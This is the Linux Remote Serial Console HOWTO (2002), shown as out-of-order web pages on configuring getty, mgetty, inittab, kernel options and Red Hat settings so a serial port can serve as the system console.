There is no CON9600 in the standard gettydefs. This is deliberate, as serial consoles sometimes require slight tweaking. Copy the DT9600 entry and use it as your model.

Figure 6-3. Define CON9600 in gettydefs

# Serial console 9600, 8, N, 1, CTS/RTS flow control
CON9600# B9600 CS8 -PARENB -ISTRIP CRTSCTS HUPCL # B9600 SANE CS8 -PARENB -ISTRIP CRTSCTS HUPCL #@S @L login: #CON9600

Separate each line with a blank line.

Each configuration line has the syntax:

Figure 6-4. Syntax of entries in /etc/gettydefs, in EBNF

<label># <initial_flags> # <final_flags> #<login_prompt>#<next_label>

The <label> is referred to on the getty command line.

The <next_label> is the definition used if a RS-232 Break is sent. As the console is always 9600bps, this points back to the original label. See Section 9.9 if you ever intend to have more one line for CON9600 in gettydefs.

<initial_flags> are the serial line parameters used by getty. These are modeled on the stty(1) and termios(3) options and the full list varies depending upon your getty variant. The parameters in Figure 6-3 ensure that a line at 9600bps with eight data bits and no parity is configured.

<final_flags> are the serial line parameters set by getty before it calls login. You will usually want to set a 9600bps line, SANE terminal handling, eight data bits, no parity and to hang up the modem when the login session is finished.

The <login_prompt> for serial lines is traditionally the name of the machine, followed by the serial port, followed by login: and a space. The macro that inserts the name of the machine and the serial port varies, see the documentation for your getty.

Prev | Home | Next
init system | Up | agetty


init system

Remote Serial Console HOWTO
Prev Chapter 6. Configure getty Next

6.1. init system

The file /etc/inittab contains the background programs that used to keep the system running. One of these programs is one getty process per serial port.

Figure 6-2. getty is started by init, based upon an entry in /etc/inittab

s0:2345:respawn:/sbin/getty ttyS0 CON9600

Each field in inittab is separated by a colon and contains:

s0

Arbitrary entry for inittab. As long as this entry doesn't appear anywhere else in inittab, you're okay. We named this entry s0 because it's for /dev/ttyS0.

2345

Run levels where this entry gets started. Run levels 2, 3, 4 and 5 can be used for an operational system, getty should not be used in other run levels. The serial console still works in run level 1 (or single user mode) even without a getty.

respawn

Re-run the program if it dies. We want this to happen so that a new login prompt will appear when you log out of the console.

/sbin/getty ttyS0 CON9600 vt102

The command to run. In this case, we're telling getty to connect to /dev/ttyS0 using the settings for CON9600 which exists in /etc/gettydefs. This entry represents a terminal running at 9600bps. Initially assume that the terminal is a later-model VT100.

After changing /etc/inittab restart init with

telinit q

An alternative is to send the hangup signal to init with the command kill -HUP 1. This is not recommended: if you make a typing mistake and actually kill init then your system will suddenly halt.

Prev | Home | Next
Configure getty | Up | Traditional getty


mgetty

Remote Serial Console HOWTO
Prev Chapter 6. Configure getty Next

6.4. mgetty

mgetty is a modem-aware getty. It supports modems with the Hayes AT command set and is especially designed for supporting modems that are used to send faxes and to dial out as well as dial in. These features are not required for a serial console.

mgetty does not require the traditional /etc/gettydefs file. As a result mgetty is invoked from /etc/inittab without supplying an entry in /etc/gettydefs.

Figure 6-6. /etc/inittab entry for mgetty

s0:2345:respawn:/sbin/mgetty ttyS0

mgetty is configured using the file /etc/mgetty+sendfax/mgetty.config. It should contain an entry for the port used by the serial console.

Figure 6-7. mgetty configuration file mgetty.config

port ttyS0
 speed 9600
 direct yes
 data-only yes
 toggle-dtr yes
 need-dsr yes
 port-owner root
 port-group root
 port-mode 600
 login-prompt @ \P login:\040
 login-time 60
 term vt102

All the options are documented in the PostScript file /usr/share/doc/mgetty…/mgetty.ps.

We set direct, data-only, need-dsr and toggle-dtr so that the RS-232 control lines are used correctly for a dumb modem.

port-owner, port-group and port-mode set the serial device to be accessible only by the root user. Modem applications, which normally use the uucp group, cannot now accidentally use the serial console.

login-prompt shows the machine (@) and serial port (\P) being used. The text \040 is simply the octal code for a space after login:.

term vt102 gives the make and model of the terminal most likely to dial in. This sets the TERM environment variable, which you can change if you are dialling in from another terminal type.

The remaining configuration files, /etc/mgetty+sendfax/dialin.config and /etc/mgetty+sendfax/login.config, do not need to be altered.

If you wish to alter the suggested configuration then note that mgetty's blocking and toggle-dtr parameters do not co-exist well.

If you have difficulties, activate debugging by adding debug 8 to mgetty.config. mgetty's actions are then visible in the file /var/log/mgetty.log.ttyS0.

Prev | Home | Next
agetty | Up | mingetty


mingetty

Remote Serial Console HOWTO
Prev Chapter 6. Configure getty Next

6.5. mingetty

mingetty is designed to be a minimal getty for the virtual terminals on the the workstation's monitor and keyboard. It has no support for serial lines.

You must not use mingetty for the serial line in /etc/inittab, but the current mingetty entries for the virtual terminals can remain.

Each virtual terminal uses about 8KB of kernel memory. If this matters, it is easy to allocate fewer virtual terminals. In the Linux 2.4 kernel virtual terminals are created on demand, so not starting mingetty on the virtual terminal will not create the virtual terminal. If the machine does not have a video card then remove all the mingetty entries from /etc/inittab.

Figure 6-8. Fewer virtual terminals. Removing mingetty entries from /etc/inittab

1:2345:respawn:/sbin/mingetty tty1
# Additional virtual terminals are not used
# 2:2345:respawn:/sbin/mingetty tty2
# 3:2345:respawn:/sbin/mingetty tty3
# 4:2345:respawn:/sbin/mingetty tty4
# 5:2345:respawn:/sbin/mingetty tty5
# 6:2345:respawn:/sbin/mingetty tty6

After restarting init it would be wise to remove the unused device files.

Figure 6-9. Fewer virtual terminals. Deallocating unused virtual terminals and removing their device files.

bash# telinit q
bash# deallocvt /dev/tty[2-9] /dev/tty[0-9][0-9]
bash# rm /dev/tty[2-9] /dev/tty[0-9][0-9]
Prev | Home | Next
mgetty | Up | No getty


No getty

Remote Serial Console HOWTO
Prev Chapter 6. Configure getty Next

6.6. No getty

If you are using serial console simply to print console messages then do not run a getty process on the serial port.

getty follows a locking convention that prevents other serial port applications from using the serial port. Since we do not want other processes to use the serial port, but are not running getty, manually create the lock file.

Create a file /var/lock/LCK..ttyS0 to contain the text 1. This lets other potential serial port applications know that process 1 has the serial port in use. Process 1 is always the init process, and init is always running, so the serial port is always locked.

The file is created upon each system boot, as lock files are often cleared when the system boots. A convenient place to create the lock file is from /etc/rc.serial. It should contain:

Figure 6-10. Contents of /etc/rc.serial to lock console serial port when no getty used

# Lock /dev/ttyS0 as it is used by an output-only console
(umask 022 && \
 rm -f '/var/lock/LCK..ttyS0' && \
 echo '1' > '/var/lock/LCK..ttyS0')

Prev | Home | Next
mingetty | Up | Configure incidentals


Remote Serial Console HOWTO

Glen Turner

Australian Academic and Research Network

glen.turner+howto@aarnet.edu.au

Mark F. Komarinski

mkomarinskiATwayga.org

v2.1 2002-05-16

Revision History
Revision 2.1 | 2002-05-16 | Revised by: gdt
Corrections to kernel console syntax. Addition of USB and devfs.
Revision 2.0 | 2002-02-02 | Revised by: gdt
Second edition.
Revision ≤1.0 | 2001-03-20 | Revised by: mfk
First edition.

An RS-232 serial console allows Linux to be controlled from a terminal or modem attached to an asynchronous serial port. The monitor, mouse and keyboard are no longer required for system administration. Serial consoles are useful where Linux systems are deployed in remote sites or are deployed in high-density racks.

This HOWTO describes how to configure Linux to attach a serial console.

Dedication

Glen Turner would like to thank his family for allowing him to work on this project for the surprisingly large number of evenings which it took to write this HOWTO. Thanks Karen, Kayla and Ella.

Table of Contents
1. Introduction
1.1. What is a console?
1.2. Why use a serial console?
1.3. Alternative meanings of ‘console’
1.4. Configuration overview
2. Preparation
2.1. Create fallback position
2.2. Select a serial port
2.3. Select a serial speed and parameters
2.4. Configure the modem or the null-modem cable
2.5. Configure the terminal or the terminal emulator
3. Optionally configure the BIOS
4. Configure the boot loader
4.1. Configure the LILO boot loader
4.2. Configure the GRUB boot loader
4.3. Configure the SYSLINUX boot loader
5. Configure Linux kernel
5.1. Configure Linux kernel using LILO
5.2. Configure Linux kernel using GRUB
5.3. Configure Linux kernel using SYSLINUX
6. Configure getty
6.1. init system
6.2. Traditional getty
6.3. agetty
6.4. mgetty
6.5. mingetty
6.6. No getty
7. Configure incidentals
7.1. Allow root to login from serial console
7.2. Change init level to textual
7.3. Remove saved console settings
7.4. Serial console is not /dev/modem
7.5. Alter target of /dev/systty
7.6. Configure Pluggable Authentication Modules
7.7. Configure Red Hat Linux
8. Reboot and test
8.1. Verify console operation
8.2. Re-create saved console settings
8.3. Test the console
8.4. Where to next from here?
9. Security
9.1. Use good passwords
9.2. Obey Data Terminal Ready and Data Carrier Detect
9.3. Use or configure a dumb modem
9.4. Restrict console messages
9.5. Modem features to restrict usage
9.6. BIOS features
9.7. Use a boot loader password
9.8. Non-interactive boot sequence
9.9. Magic SysRq key
9.10. Adjust behaviour of Ctrl-Alt-Delete
9.11. Log attempted access
9.12. Interception of telephony links
10. Configuring a kernel to support serial console
10.1. Linux kernel version 2.5
10.2. Linux kernel version 2.4
10.3. Linux kernel version 2.2
11. Serial cabling
11.1. Jargon
11.2. Cable from console port to modem
11.3. Cable from console port to terminal (or another PC)
11.4. Making serial cables
12. Modem configuration
12.1. Using Minicom to give commands to a modem
12.2. Configure dumb modem
12.3. Configure modem with AT commands
12.4. Internal modems
12.5. WinModems
A. Bugs and annoyances
A.1. Red Hat Linux 7.1 and SysVinit
A.2. BIOSs, keyboards and video cards
A.3. Modem hangs up upon reboot
A.4. init and syslog output does not display on secondary consoles
A.5. The console is unresponsive after connecting
A.6. Modem hangs up during initialization
A.7. Boot loader has no flow control
A.8. Boot loaders are vulnerable to line noise
A.9. Advanced Power Management
A.10. Modems and overseas telecommunications requirements
B. Uploading files from a serial console
B.1. Disable logging to console
B.2. ASCII upload and cat
B.3. Xmodem, Ymodem and Zmodem
B.4. Kermit
C. Upgrading Red Hat Linux from a serial console
C.1. Select boot disk
C.2. Configure the BIOS to use the serial port
C.3. Configure modem to ignore DTR and assert DCD
C.4. Prepare a network install floppy diskette
C.5. Prepare HTTP server
C.6. Record network configuration
C.7. Record LILO configuration
C.8. Upgrade Red Hat distribution
C.9. Create boot disk for serial console
C.10. Further references
D. Terminal server configuration
D.1. Considerations when buying second-hand terminal servers
D.2. Cisco 2511
D.3. Xyplex/iTouch MAXserver 1600
D.4. Xylogics/Bay/Nortel Annex
E. Gratuitous advice for developers
E.1. Advice for boot loader authors
E.2. Advice for BIOS authors
F. About this HOWTO
F.1. Copyright
F.2. Disclaimer
F.3. Acknowledgments
F.4. Comments and corrections
Colophon
List of Tables
1-1. Different ways of referring to the ‘console’
2-1. Many names for the same serial port
2-2. Interrupts used for IBM PC/AT RS-232 ports
4-1. SYSLINUX flow control bitmap
10-1. IBM-PC/AT serial port bit rates and their bit-clock divisors
List of Figures
2-1. Using the setserial command in /etc/rc.serialto disable the serial port /dev/ttyS2
2-2. Syntax for serial bits per second rate, in extended Backus-Naur form
2-3. Syntax for serial parity, in extended Backus-Naur form
2-4. Syntax for serial data bits, in extended Backus-Naur form
2-5. Syntax for serial stop bits, in extended Backus-Naur form
2-6. Syntax for serial flow control, in extended Backus-Naur form
2-7. Syntax for kernel serial parameters, in extended Backus-Naur form
4-1. Syntax of LILO serial command, in EBNF
4-2. LILO serial EBNF variables
4-3. LILO boot loader sample configuration
4-4. Using md5crypt to create a hashed password for GRUB
4-5. GRUB configuration to require a password
4-6. GRUB configuration for serial console
4-7. GRUB configuration for serial console and attached monitor and keybaord console
4-8. GRUB configuration for command line interface for terminals other than VT100
4-9. Adding a single user mode option to the GRUB menu
4-10. Syntax of SYSLINUX serial command, in EBNF
4-11. SYSLINUX serial EBNF variables
5-1. Kernel console syntax, in EBNF
5-2. Recommended kernel parameters, PCs with video card
5-3. Recommended kernel parameters, PCs without video card
5-4. Recommended kernel parameters, LILO configuration
5-5. Recommened kernel parameters, GRUB configuration
5-6. Recommended kernel parameters, SYSLINUX configuration
6-1. Interactively altering the connecting terminal's make and model
6-2. getty is started by init, based upon an entry in /etc/inittab
6-3. Define CON9600 in gettydefs
6-4. Syntax of entries in /etc/gettydefs, in EBNF
6-5. /etc/inittab entry for agetty
6-6. /etc/inittab entry for mgetty
6-7. mgetty configuration file mgetty.config
6-8. Fewer virtual terminals. Removing mingetty entries from /etc/inittab
6-9. Fewer virtual terminals. Deallocating unused virtual terminals and removing their device files.
6-10. Contents of /etc/rc.serial to lock console serial port when no getty used
7-1. Alter securetty to allow root to log in from the serial console
7-2. Removal of ioctl.save containing the saved console parameters
7-3. Remove /dev/modem if it points to the serial console's port
7-4. Default value of /dev/systty in /etc/makedev.d/linux-2.4.x
7-5. Alter value of /dev/systty in MAKEDEV configuration file
7-6. Installing new value of /dev/systty
7-7. Default <console> in console.perms refers to attached keyboard and screen
7-8. Default device listing in console.perms
7-9. Devices in console.perms required for attached keyboard and screen
7-10. Add <sconsole> in console.perms to refer to serial console
7-11. Remaining devices in console.perms altered to refer to serial console
7-12. Alterations to /etc/sysconfig/init for Red Hat Linux
7-13. Alterations to /etc/sysconfig/kudzu for Red Hat Linux
9-1. Extract from Crackers favour war dialling and weak passwords
9-2. /etc/syslog.conf modified to copy log messages to a log server
9-3. Allowing remote log messages by setting options in /etc/sysconfig/syslog
9-4. Restrict syslog messages to remote.example.edu.au
9-5. Using nscd to cache reverse DNS lookups
9-6. Restrict sending of messages to console user
9-7. Restrict sending of messages to console user, /etc/profile.d/mesg.sh
9-8. Restrict sending of messages to console user, /etc/profile.d/mesg.csh
9-9. Install files into /etc/profile.d
9-10. Using sysctl to defeat the magic SysRq key
9-11. Configuring /etc/sysctl.conf to defeat the magic SysRq key
9-12. Kernel make menuconfig showing disabled SysRq key
9-13. Kernel .config showing disabled SysRq key
9-14. Default handling of Ctrl-Alt-Delete in /etc/inittab
9-15. Ignoring Ctrl-Alt-Delete in /etc/inittab
9-16. Shut down cleanly upon Ctrl-Alt-Delete in /etc/inittab
10-1. Kernel configuration for serial console using make menuconfig
10-2. Kernel configuration for serial console using .config
10-3. Kernel configuration for USB dongle serial console using make menuconfig
10-4. Kernel configuration for USB dongle serial console using .config
10-5. Kernel configuration for serial console using make menuconfig
10-6. Kernel configuration for serial console using .config
11-1. Null modem cable with full status and handshaking
11-2. Null modem cable with falsified status and handshaking
11-3. Null modem cable with no status or handshaking
12-1. Front panel of a dumb modem
12-2. Testing the modem's port speed
12-3. Configure modem using AT commands
12-4. Resetting a Hayes AT-style modem
A-1. setserial causes a modem to hang up as the machine initializes
B-1. Supressing kernel messages to the console in Red Hat Linux
C-1. Configuring BIOS to use serial link
C-2. Configuring BIOS to boot from hard disk
C-3. Extract from Red Hat Linux 7.2 mkbootdisk which creates SYSLINUX.CFG
C-4. Altered extract from mkbootdisk, which creates a SYSLINUX.CFG that uses a serial console
D-1. Basic configuration for Cisco 2511 terminal server to Linux PC
E-1. Configuring /dev/nvram to access the CMOS configuration
E-2. Getting the CMOS configuration
E-3. Setting the CMOS configuration
List of Examples
4-1. Using kernel parameters to avoid access permissions
5-1. Complete LILO configuration, as installed by vendor
5-2. Complete LILO configuration, modified for serial console
5-3. Complete GRUB configuration, as installed by vendor
5-4. Complete GRUB configuration, modified for serial console
8-1. Dialing into a serial console
C-1. Displaying the Internet Protocol configuration
C-2. Displaying the LILO configuration
Next
Introduction


Introduction

Remote Serial Console HOWTO
Prev Next

Chapter 1. Introduction

console n. [From latin consolatio(n) “comfort, spiritual solace.”] A device for displaying or printing condolances or obituaries for the operator.

Stan Kelly-Bootle, The Computer Contradictionary.
Table of Contents
1.1. What is a console?
1.2. Why use a serial console?
1.3. Alternative meanings of ‘console’
1.4. Configuration overview
Prev | Home | Next
Remote Serial Console HOWTO |  | What is a console?


Configuration overview

Remote Serial Console HOWTO
Prev Chapter 1. Introduction Next

1.4. Configuration overview

There are five major steps to configuring a serial console.

  1. Optionally, the BIOS may be configured to use the serial port.

  2. If needed, the boot loader may be configured to use the serial port.

  3. The Linux kernel must be configured to use the serial port as its console. This is done by passing the kernel the console parameter when the kernel is started by the boot loader.

  4. The init system should keep a process running to monitor the serial console for logins. The monitoring process is traditionally called getty.

  5. A number of system utilities need to be configured to make them aware of the console, or configured to prevent them from disrupting the console.

Examples in this HOWTO are from Red Hat Linux versions 7.1 and 7.2, which were released in 2001. The maintainer would appreciate updates for later versions of Red Hat Linux. The maintainer would very much appreciate examples for Linux distributions that are dissimilar to Red Hat Linux; particularly Debian GNU/Linux and Slackware Linux.

Prev | Home | Next
Alternative meanings of ‘console’ | Up | Preparation


What is a console?

Remote Serial Console HOWTO
Prev Chapter 1. Introduction Next

1.1. What is a console?

The console is the text output device for system administration messages. These messages come from the kernel, from the init system and from the system logger.

On modern small computers the console is usually the computer's attached monitor and keyboard.

On many older computers the console is an RS-232 link to a terminal such as a DEC VT100. This terminal is in a locked room and is continually observed by the minicomputer's operators. Large systems from Sun, Hewlett-Packard and IBM still use serial consoles.

It is usually possible to login from the console. A login session from the console is treated by many parts of the operating system as being more trustworthy than a login session from other sources. Logging in as the root super-user from the console is the Command Line of Last Resort when faced with a misbehaving system.

Prev | Home | Next
Introduction | Up | Why use a serial console?


Why use a serial console?

Remote Serial Console HOWTO
Prev Chapter 1. Introduction Next

1.2. Why use a serial console?

For the average user a serial console has no advantage over a a console offered by a directly attached keyboard and screen. Serial consoles are much slower, taking up to a second to fill a 80 column by 24 line screen. Serial consoles generally only support non-proportional ASCII text, with limited support for languages other than English. A new terminal can be more expensive than an old PC.

There are some scenarios where serial consoles are useful. These are:

Systems administration of remote computers

Linux is an good operating system for deployment at unstaffed sites. Linux is also good at hosting critical network infrastructure such as DNS and DHCP servers. These servers are generally installed at every site of an organisation including sites which may be too small or too remote to have information technology staff.

System administration of these remote computers is usually done using SSH, but there are times when access to the console is the only way to diagnose and correct software failures. Major upgrades to the installed distribution may also require console access.

In these cases the serial console is attached to a modem. Access to the console is gained from a remote computer by dialing into the modem. This allows the console to be reached from any telephone socket.

High density racks of computers

Clusters of personal computers can outperform mainframe computers and form competitive supercomputers for some applications. See the Cluster-HOWTO for more information on clustering.

These clusters are typically assembled into 19 inch telecommunications equipment racks and the system unit of each computer is typically one rack unit (or 1.75 inches) tall. It is not desirable to put a keyboard and monitor on each computer, as a small cathode ray tube monitor would consume the space used by sixteen rack units.

A first glance it seems that a monitor and keyboard switch is the best solution. However the VGA signal to the monitor is small, so even with the switch the monitor cannot be placed very far away from the rack of computers.

It is desirable to allow the consoles to be monitored in the operators' room of the computer center, rather than in the very expensive space of the machine room. Although monitor switches with remote control and fiber optical extensions are available, this solution can be expensive.

A standard RS-232 cable can be 15 meters in length. Longer distances are easily possible. The cabling is cheap. Terminal servers can be used to allow one terminal to be access up to 90 serial consoles.

Recording console messages

This is useful in two very different cases.

Kernel programmers are often faced with a kernel error message that is displayed a split second before the computer reboots. A serial console can be used to record that message. Another Linux machine can be used as the serial terminal.

Some secure installations require all security events to be unalterably logged. A way to meet this requirement is to print all console messages. Connecting the serial console to a serial printer can achieve this.[1]

Embedded software development

Linux is increasingly being as the operating system in embedded applications. These computers do not have keyboards or screens.

A serial port is a cheap way to allow software developers to directly access the embedded computer. This is invaluable for debugging. Most chip sets designed for embedded computers have a serial port precisely for this purpose.

The shipping product need not present the RS-232 port on an external connector. Alternatively the RS-232 port is often used for downloading software updates.

Craft terminal for telecommunications equipment

Linux is increasingly being used as the operating system inside telecommunications equipment. The Carrier Grade Linux consortia hopes to accelerate and coordinate this trend.

Most telecommunications equipment is remotely managed from a distant computer. However, site technicans (called craft personnel in telco-speak) need to access the equipment to test installation changes, check the status of reported faults, and so on. The terminal used by the craft personnel is called the craft terminal. The craft terminal plugs into the craft interface on the equipment.[2]

It is common, but not universal, industry practice for craft terminals to be a DEC VT100 terminal (or an emulator). The craft interface is commonly assumed to be an RS-232 DCE interface, running at 9600bps with 8 data bits, no parity, one stop bit, no handshaking and no status lines. An RJ45 connector is sometimes used in place of RS-232's standard 25-pin D connector. The DCE interface allows the craft terminal to be connected without a special null modem cable.

Unlike minicomputer systems, the IBM PC was not designed to use a serial console. This has two consequences.

Firstly, Power On Self-Test messages and Basic Input/Output System (BIOS) messages are sent to the screen and received from the keyboard. This makes it difficult to reconfigure the BIOS and makes it impossible to see Power On Self-Test errors.

An increasing number of manufacturers of rackable server equipment are altering their BIOSs to optionally use the RS-232 port for the BIOS's messages and configuration. If you are buying a machine specifically for use with serial console you should seek this feature. If you have an existing machine that definitely requires access to the BIOS from the serial port then there are hardware solutions such as PC Weasel 2000.

Secondly, the RS-232 port on the IBM PC is designed for connecting to a modem. Thus a null modem cable is needed when connecting the PC's serial port to a terminal.

Notes

[1] | The Linux 2.4 kernel also supports the output of console messages to Centronics or IEEE 1284-2000 parallel printer interfaces.
[2] | The craft interface was originally specified in Telcordia's LATA Switching Systems Generic Requirements. The wide variation in craft interfaces can be attributed to this document costing US$17,500 (in April 2002).
Prev | Home | Next
What is a console? | Up | Alternative meanings of ‘console’


Alternative meanings of ‘console’

Remote Serial Console HOWTO
Prev Chapter 1. Introduction Next

1.3. Alternative meanings of ‘console’

Some authors use the word ‘console’ to refer to the keyboard and monitor that are attached to the system unit. This is described as a ‘physical console’ by some Linux documentation. The console where system messages appear is described as the ‘logical console’ by that documentation.

As an illustration of the difference, X Windows should start on the physical console but system messages issued by failures when starting X Windows should be written to the logical console.

To avoid confusion this HOWTO uses the word ‘console’ to describe the place where system messages are printed. This HOWTO uses the phrase “attached monitor and keyboard” rather than the confusing words “physical console”.

These distinctions are also made in the naming of devices. The device /dev/console is used to send messages to the console. The symbolic link /dev/systty points to the device which is used by the attached monitor and keyboard, often /dev/tty0.

Table 1-1. Different ways of referring to the ‘console’

Document |  |
This HOWTO | console | Attached monitor and keyboard
Some Linux documentation | Logical console | Physical console
Device names | /dev/console | /dev/systty
Prev | Home | Next
Why use a serial console? | Up | Configuration overview


Configuring a kernel to support serial console

Remote Serial Console HOWTO
Prev Next

Chapter 10. Configuring a kernel to support serial console

Table of Contents
10.1. Linux kernel version 2.5
10.2. Linux kernel version 2.4
10.3. Linux kernel version 2.2

Most Linux kernels shipped by distributors are configured to allow the serial console to be enabled. However system administrators will almost certainly encounter some problems best solved by recompiling a kernel. In these cases configure the kernel to support the serial console. The usual virtual terminal console is also configured, as we normally want console messages to go a monitor as well as the serial port.

Prev | Home | Next
Interception of telephony links |  | Linux kernel version 2.5


Linux kernel version 2.2

Remote Serial Console HOWTO
Prev Chapter 10. Configuring a kernel to support serial console Next

10.3. Linux kernel version 2.2

The later Linux 2.2 kernels use the same build parameters and parameter syntax as the Linux version 2.4 kernels.

For earlier kernels see the article by Francesco Conti in issue 36 of Linux Journal published in April 1997.

This article included some patches for the kernel, which have been extended in the notes below to use a broader range of serial port speeds.

Choose to use the serial console by adding a couple of #defines at the start of /usr/src/linux/drivers/char/console.c:

#define CONFIG_SERIAL_ECHO
#define SERIAL_ECHO_PORT 0x3f8  /* COM1 port address */

Alternatively, to use ttyS1 use these lines:

#define CONFIG_SERIAL_ECHO
#define SERIAL_ECHO_PORT 0x2f8  /* COM2 port address */

The kernel assumes a serial link speed of 9600bps. If you are using a differing bit rate then find these two lines:

serial_echo_outb(0x00, UART_DLM); /* 9600 baud */
serial_echo_outb(0x0c, UART_DLL);

and change 0x0c to one of the values in Table 10-1.

Table 10-1. IBM-PC/AT serial port bit rates and their bit-clock divisors

Bit Rate | Divisor
115200bps | 0x01
57600bps | 0x02
38400bps | 0x03
19200bps | 0x06
9600bps | 0x0c
4800bps | 0x18
2400bps | 0x30
1200bps | 0x60
Prev | Home | Next
Linux kernel version 2.4 | Up | Serial cabling


Linux kernel version 2.4

Remote Serial Console HOWTO
Prev Chapter 10. Configuring a kernel to support serial console Next

10.2. Linux kernel version 2.4

When configuring the kernel set the following configuration parameters:

Figure 10-5. Kernel configuration for serial console using make menuconfig

Character devices  --->
 [*] Virtual terminal
  [*]   Support for console on virtual terminal
 <*> Standard/generic (8250/16550 and compatible UARTs) serial support
  [*]   Support for console on serial port

This should set the following configuration parameters in /usr/src/linux/.config.

Figure 10-6. Kernel configuration for serial console using .config

CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y

You should also configure the kernel without the magic SysRq key, as described in Section 9.9.

Prev | Home | Next
Linux kernel version 2.5 | Up | Linux kernel version 2.2


Linux kernel version 2.5

Remote Serial Console HOWTO
Prev Chapter 10. Configuring a kernel to support serial console Next

10.1. Linux kernel version 2.5

Kernel version 2.5 is under active development, so this section may be out of date. Version 2.5 includes support for the console to a serial port attached to a USB dongle.

When configuring the kernel set the following configuration parameters:

Figure 10-1. Kernel configuration for serial console using make menuconfig

Character devices  --->
 [*] Virtual terminal
  [*]   Support for console on virtual terminal
 <*> Standard/generic (8250/16550 and compatible UARTs) serial support
  [*]   Support for console on serial port

This should set the following configuration parameters in /usr/src/linux/.config.

Figure 10-2. Kernel configuration for serial console using .config

CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y

If you also want to use a serial port attached to a USB bus, then in addition to the usual USB configuration, configure the kernel to load the USB console driver and one of the USB serial dongles (our example uses the generic serial dongle).

Figure 10-3. Kernel configuration for USB dongle serial console using make menuconfig

USB Serial Converter support --->
 <M> USB Serial Converter support
 [M] USB Serial Console device support
 [M] USB Generic Serial Driver

This should set the following configuration parameters in /usr/src/linux/.config

Figure 10-4. Kernel configuration for USB dongle serial console using .config

CONFIG_USB_SERIAL=m
CONFIG_USB_SERIAL_CONSOLE=m
CONFIG_USB_SERIAL_GENERIC=m

You should also configure the kernel without the magic SysRq key, as described in Section 9.9.

Prev | Home | Next
Configuring a kernel to support serial console | Up | Linux kernel version 2.4


Configure incidentals

Remote Serial Console HOWTO
Prev Next

Chapter 7. Configure incidentals

Table of Contents
7.1. Allow root to login from serial console
7.2. Change init level to textual
7.3. Remove saved console settings
7.4. Serial console is not /dev/modem
7.5. Alter target of /dev/systty
7.6. Configure Pluggable Authentication Modules
7.7. Configure Red Hat Linux

A surprising number of other configuration files need small modifications before the serial console works well.

The configuration of many items depends upon your security requirements, especially depending upon the level of trust and corresponding need for security at the remote site. By assuming a high need for security at the remote site this HOWTO can illustrate a large number of configuration items.

Prev | Home | Next
No getty |  | Allow root to login from serial console


Configure Red Hat Linux

Remote Serial Console HOWTO
Prev Chapter 7. Configure incidentals Next

7.7. Configure Red Hat Linux

Red Hat Linux stores parameters concerning system start up in the file /etc/sysconfig/init.

Alter the parameter BOOTUP to use terminal-independent commands to write the OK, PASSED and FAILED messages. These messages will no longer appear in green, yellow or red. The comments in /etc/sysconfig/init suggest that any value other than color will do, but it seems that BOOTUP must be set to serial.

Alter the PROMPT parameter to disallow interactive start up. Allowing an unauthenticated keystroke to stop system services is not robust against line noise and allows anyone that dials in during system boot to deny services.

Figure 7-12. Alterations to /etc/sysconfig/init for Red Hat Linux

BOOTUP=serial
PROMPT=no

Red Hat Linux runs a hardware discoverer, named kudzu. When attempting to identify a serial port Kudzu resets the serial port. This stops the serial console. Kudzu is configured from the file /etc/sysconfig/kudzu.

Kudzu can be prevented from resetting hardware by setting the configuration parameter SAFE to yes.

Figure 7-13. Alterations to /etc/sysconfig/kudzu for Red Hat Linux

SAFE=yes

Prev | Home | Next
Configure Pluggable Authentication Modules | Up | Reboot and test


Serial console is not /dev/modem

Remote Serial Console HOWTO
Prev Chapter 7. Configure incidentals Next

7.4. Serial console is not /dev/modem

In many Linux distributions the file /dev/modem is a symbolic link to the serial port containing a modem which is available for use.

Although the serial console is a serial port with a modem, we certainly don't want it used to place an outgoing call.

Check that /dev/modem does not point to the serial port being used for the console, say /dev/ttyS0. If it does, then remove the symbolic link.

Figure 7-3. Remove /dev/modem if it points to the serial console's port

bash$ ls -l /dev/modem
lrwxrwxrwx 1 root root 10 Jan 01 00:00 /dev/modem -> /dev/ttyS0
bash# rm /dev/modem

Prev | Home | Next
Remove saved console settings | Up | Alter target of /dev/systty


Alter target of /dev/systty

Remote Serial Console HOWTO
Prev Chapter 7. Configure incidentals Next

7.5. Alter target of /dev/systty

In many Linux distributions the file /dev/systty is a symbolic link to the device which is used as the by the attached monitor and keyboard. See Section 1.3 for a fuller description.

If there is no attached keyboard and monitor or no wish to give the attached keyboard and monitor greater capabilities then a text terminal, then alter /dev/systty to point to the serial console.

Rather than directly altering this symbolic link, it is better to modify the configuration file used by MAKEDEV, which is then run to recreate the symbolic link. The configuration file is in the directory /etc/makedev.d. The default configuration will point to the first virtual terminal, as shown in Figure 7-4.

Figure 7-4. Default value of /dev/systty in /etc/makedev.d/linux-2.4.x

l systty tty0

Modify this to point to the serial port being used by the console, as shown in Figure 7-5.

Figure 7-5. Alter value of /dev/systty in MAKEDEV configuration file

bash# cd /etc/makedev.d
bash# fgrep systty *
linux-2.4.x:l systty tty0
bash# vi linux-2.4.x

l systty ttyS0

Now re-create /dev/systty using its new definition, as shown in Figure 7-6.

Figure 7-6. Installing new value of /dev/systty

bash# cd /dev
bash# rm systty
bash# ./MAKEDEV systty

Prev | Home | Next
Serial console is not /dev/modem | Up | Configure Pluggable Authentication Modules


Change init level to textual

Remote Serial Console HOWTO
Prev Chapter 7. Configure incidentals Next

7.2. Change init level to textual

There is little point in running the X Window System on a server with no screen. Edit /etc/inittab finding the line containing initdefault, such as

id:5:initdefault:

Alter the default from run level 5 (multiuser with X Window System) to run level 3 (multiuser).

id:3:initdefault:

The startx command can be used if an occassional X Windows session is required upon an attached keyboard and monitor.

Prev | Home | Next
Allow root to login from serial console | Up | Remove saved console settings


Configure Pluggable Authentication Modules

Remote Serial Console HOWTO
Prev Chapter 7. Configure incidentals Next

7.6. Configure Pluggable Authentication Modules

The Pluggable Authentication Module system can be used to give special privileges to users that logged in through the console. It is used to make devices like the floppy disk mountable by the console's user; usually they would need to become the super-user to mount a disk.

The PAM configuration file /etc/security/console.perms contains the <console> variable. For Red Hat Linux 7.1 <console> is the regular expression:

Figure 7-7. Default <console> in console.perms refers to attached keyboard and screen

<console>=tty[0-9][0-9]* vc/[0-9][0-9]* :[0-9]\.[0-9] :[0-9]

Later in the file the <console> user is granted permission to use some devices. This is done by altering the devices' permissions upon login and logout.

Figure 7-8. Default device listing in console.perms

<console>  0660 <floppy>     0660 root.floppy
